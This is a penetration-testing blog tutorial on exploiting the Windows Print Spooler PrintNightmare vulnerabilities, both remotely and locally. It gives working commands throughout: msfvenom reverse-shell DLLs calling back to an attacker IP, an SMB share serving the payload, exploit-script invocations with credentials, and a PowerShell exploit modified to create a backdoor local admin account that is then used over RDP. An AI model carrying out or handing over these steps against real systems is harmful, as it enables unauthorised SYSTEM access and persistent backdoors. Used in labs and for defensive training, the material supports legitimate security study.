In this post we will be going over the privilege escalation technique referred to as PrintNightmare, which targets a vulnerability that exists within the print spooler service on Windows machines. We will review how to enumerate the print spooler service both remotely and locally; and we will also see how we can exploit this service using three different tools.
PrintNightmare is a critical security vulnerability affecting the Microsoft Windows operating system. There are two variants, one permitting remote code execution (CVE-2021-34527), and the other leading to privilege escalation (CVE-2021-1675).
CVE-2021-34527 – PrintNightmare RCE
To begin, we will explore how we can enumerate this service remotely using rpcdump.py from the Impacket Collection of Python Scripts. Once confirmed that the service is running, we will need a copy of CVE-2021-1675.py from this GitHub repo here to exploit this service. The script will be used to execute a malicious DLL on the victim directly from a share that we have setup on our attacker machine.
Once the DLL is executed, it will provide us with a SYSTEM shell!
The GitHub repot with CVE-2021-1675.py also has a copy of the CSharp versions of this script: SharpPrintNightmare. We will be using that a bit later in this post so keep it handy.
One caveat to performing this exploit remotely is that we need a set of valid credentials for any standard user. Even though this is considered an RCE vulnerability, it is primarily a privilege escalation exploit due to the fact that supplying standard user credentials results in an elevated SYSTEM shell on the target.
For this example, we will assume that we obtained the credentials for user cmarko through a brute force attack. We can also assume that scans have been performed and we have our target IP identified.
Enumerating the Print Spooler Service Remotely
To scan a target machine to find if the print spooler service is running, use the following command:
rpcdump.py @172.16.1.50 | egrep 'MS-RPRN|MS-PAR'
If it returns a value, it should be vulnerable!
Now that we know the service is running on the target, we need to craft a malicious DLL using msfvenom to execute with CVE-2021-1675.py.
Crafting a Malicious DLL and Setting up an SMB Share for the Exploit
Since there is no real good method to fingerprint a target machine with 100% confidence to find the OS version and arch remotely, we can craft both an 64-bit and 32-bit DLL for this exploit. That way if one doesn’t work, we can test the other.
Since it will be more likely that the target has an x64 arch, we will start by crafting a 64-bit DLL first using the following command:
msfvenom -p windows/x64/shell_reverse_tcp LHOST=172.16.1.30 LPORT=443 -a x64 --platform Windows -f dll -o nightmare64.dll
We will also craft a 32-bit DLL just to be ready if the 64-bit one fails:
msfvenom -p windows/shell_reverse_tcp LHOST=172.16.1.30 LPORT=443 -a x86 --platform Windows -f dll -o nightmare86.dll
Cool, we got both of our malicious DLL’s in the same directory.
Moving on, we need to setup an SMB share in the directory housing our malicious DLLs so that they can be executed on the target directly from our share. This means we will not need to place any file on disk for this exploit!
To setup an SMB share, use the following command from within the directory where the two DLLs are located:
impacket-smbserver share $(pwd) -smb2support
This will name our share folder ‘share’, which means our DLLs will be accessible from \\<attacker_IP>\share\<malicious_DLL>
With everything setup, we can go ahead and exploit this service and get a reverse shell as SYSTEM!
Exploiting Print Spooler with CVE-2021-1675.py
First, we need to start a listener on our attacker machine over port 443, which is the port we chose for our malicious DLLs. Once that is running, we can use the following command to exploit the print spooler service:
python3 CVE-2021-1675.py juggernaut.local/cmarko:'N0cturn@firstname.lastname@example.org '\\172.16.1.30\share\nightmare64.dll'
We see it doing stuff, and we like stuff! — now if we check the tab where we have our share running, we should see that the user has checked in and then closed down the connection.
And then back on our listener, a SYSTEM shell should be waiting for us!
CVE-2021-1675 – PrintNightmare LPE
Pivoting a little bit from the RCE example, we will now look into how we can exploit this vulnerability locally with two different tools.
First, we will compile and use SharpPrintNightmare.exe to execute our malicious DLL again. Secondly, we will explore using a PowerShell script that will exploit this service and create a new admin user for us. For the PowerShell example, we will use the Invoke-Expression (IEX) cmdlet to download the script directly into memory.
For this example, we will assume that we were not able to enumerate any credentials; however, instead we were able to leverage a web exploit landing us in a shell as the user cmarko. This means we have a foothold, but we do not know the user’s password.
Enumerating the Print Spooler Service Locally
Right now we are in a cmd.exe prompt, so before we begin the enumeration we need to jump into a PowerShell prompt (we don’t NEED to, but it will be useful later on if we do).
To jump into a PowerShell prompt, we can simple use the following command from our current shell:
powershell -ep bypass
Alternatively, if this does not work we can upgrade our shell to PowerShell using a Nishang reverse TCP script or just by simply calling PowerShell for our command using powershell -c “command -to -execute”
From our PowerShell prompt, we can easily enumerate if this service is running with the following command:
This shows that the Print Spooler service is currently running, which means our victim machine is vulnerable to this attack!
Additionally, it is a good idea to check the arch of the system when you have a foothold so that you know exactly what it is when you craft your malicious DLL.
systeminfo | findstr /B /C:"Host Name" /C:"OS Name" /C:"OS Version" /C:"System Type" /C:"Hotfix(s)"
Here we were able confirm that this is an x64 system, which is why our malicious x64 DLL worked when we exploited this service remotely.
Exploiting Print Spooler with SharpPrintNightmare.exe
Enumerating the printer spooler service and finding that it’s running means the target is vulnerable so now we need to begin setting up our attack.
We should already have the files for SharpPrintNightmare on our attacker machine from cloning the GitHub repo for CVE-2021-1675.py.
Since we do not have a compiled version of the exploit, we will need to transfer this entire folder and all the files/sub-folders inside to a lab machine with Visual Studio installed. From there, we can open the SLN file with Visual Studio and then compile it into an executable.
I am planning on making a post on compiling executables in various ways in the near future; however, I did do have an example of compiling an EXE using visual studio in this post here.
For this example, we will be leveraging the malicious DLLs we crafted earlier along with the SharpPrintNightmare executable similar to how we used CVE-2021-1675.py. The only difference is that this time we will be downloading the EXE and the DLL onto disk and executing it that way.
If we tried to execute both the EXE and DLL directly from our share to perform RCE, it would require admin privileges. That is why we need to place the EXE and DLL on disk.
After compiling the binary and sending it back to our attacker machine, we can copy the EXE into the same directory where our malicious DLLs are located. Now we can kill the share if you haven’t already and then setup an HTTP server in the same directory to download the files onto the victim.
Download SharpPrintNightmare.exe and nightmare64.dll directly onto the victim.
All that is left is to start a netcat listener on port 443 again to catch our SYSTEM shell and then execute the following command:
We see it doing stuff again… very much the same as it did when we exploited this remotely.
Checking back on our listener, we have a SYSTEM shell!
Exploiting Print Spooler with CVE-2021-1675.ps1
First, we will need to grab a copy of CVE-2021-1675.ps1 from this GitHub repo here.
Once we have the PS1 script on our attacker machine, we can copy it to the same directory where we currently have our HTTP server running out of. This will allow us to download it directly into memory on the victim.
With the PowerShell script in our working directory, we can now use the following echo command to append the following function to the bottom of the script:
echo Invoke-Nightmare -DriverName '"Xerox" -NewUser "pwnt" -NewPassword "Password123"' >> CVE-2021-1675.ps1
Afterwards, the bottom of the scrip should look like this:
This command will create a new user named pwnt with a password of Password123 and then the script will add the user to the local administrator group.
Hardcoding the command at the bottom of the script will allow it to auto-execute when the script is downloaded into memory using IEX.
Using the net user command we can confirm that no user named ‘pwnt’ currently exists.
Alright, now that everything is ready and we have the script in our working directory being served up over HTTP, we can download it directly into memory with the following command:
The script executes and from the output we can see that the exploit creates a malicious DLL that creates a user that we specified and then adds them to the local admin group. It then cleans up and deletes the DLL.
Now when we check net user and net localgroup administrators again, we will see the user we created.
Now what can we do with this user? Well, if RDP is open, we can RDP into the victim machine using xfreerdp and then open a cmd prompt by using “Run as Administrator” to enable all our privileges.
sudo xfreerdp /u:pwnt /p:'Password123' /v:172.16.1.50 +clipboard
Cool, we can get an admin prompt, but what happens when RDP is not open? We know this is a local admin user; however, when we test our access over SMB with crackmapexec we see that the user is valid; however, it does not show Pwn3d!, which is necessary for command execution.
crackmapexec smb 172.16.1.50 -u pwnt -p Password123 --local-auth
This means we cannot get command execution through this service and psexec.py is out the window.
This occurs due to our local admin user getting stuffed by UAC. We can bypass this and get an admin shell as this user without GUI; however, it would require using runas to get a medium-integrity shell and then using some sort of UAC bypass technique to elevate the medium shell to a high-integrity one.
If you are interested in seeing how to get a shell as the user pwnt and then elevating that shell to a fully privileged high-integrity shell, check out my post on UAC-bypass techniques here. In that post we go over this exact scenario.